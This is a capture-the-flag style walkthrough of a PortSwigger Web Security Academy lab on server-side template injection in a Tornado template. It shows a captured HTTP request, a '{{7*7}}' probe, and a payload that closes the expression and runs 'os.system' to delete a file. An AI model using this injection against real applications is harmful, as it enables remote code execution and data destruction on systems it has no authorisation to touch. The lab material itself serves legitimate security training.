Basic server-side template injection (code context)

Platform: PortSwigger | Category: SSTI | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SSTI

Summary

Walkthrough of the PortSwigger Web Security Academy lab Basic server-side template injection (code context) (SSTI). This lab demonstrates a ssti vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SSTI

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

In the My-Account page, we have this Preferred name functionality.

On selecting First name , a POST request is sent as follows.

 http read-only • copy allowed Copy
POST /my-account/change-blog-post-author-display HTTP/2
Host: 0a0600c203153f8e80d2128500f7005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: https://0a0600c203153f8e80d2128500f7005e.web-security-academy.net
Referer: https://0a0600c203153f8e80d2128500f7005e.web-security-academy.net/my-account?id=wiener
Cookie: session=L6vbGPm7HzT2Pdds1yaNqsgg31Tr7Auk
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

blog-post-author-display=user.first_name&csrf=XlGz50yl1jqjs2iKGNHYvMTOsHDYCXlK

The blog-post-author-display=user.first_name seems interesting, it seems like it takes our first name and passes it as data to the backend code then processes it and sends it back. [Code Context].

So when we change the value to Nickname the comments which we made in a post will be posted with our nickname.

As seen from the above image, we see that the nickname is h0td0g.

Similarly when we change our preferred name to Name, then the name above the comment made by us will be wiener.

Injecting payload :

In the above request, we need to first close the expression with }} and then we can inject our malicious payload for Tornado template engine.

Payload used to delete morale.txt -

 python read-only • copy allowed Copy
}}{{7*7}}

Since Tornado is a python based templating engine, we can use {{..}} to test / run commands.

Now we can see that the username has 49 in it which is a result of our payload {{7*7}} which confirms the SSTI vulnerability.

Now to delete the file, we can use this payload.

 python read-only • copy allowed Copy
}}{% import os %}{{ os.system("rm /home/carlos/morale.txt") }}

Now once we send the payload in the blog-post-author-display=user.first_name parameter ie ( blog-post-author-display=user.name}}{% import os %}{{ os.system('rm /home/carlos/morale.txt') }} ), the payload gets executed & the file is deleted .Thus we have solved the lab.

Key Takeaways / Lessons

• Understanding SSTI detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Basic server-side template injection (code context)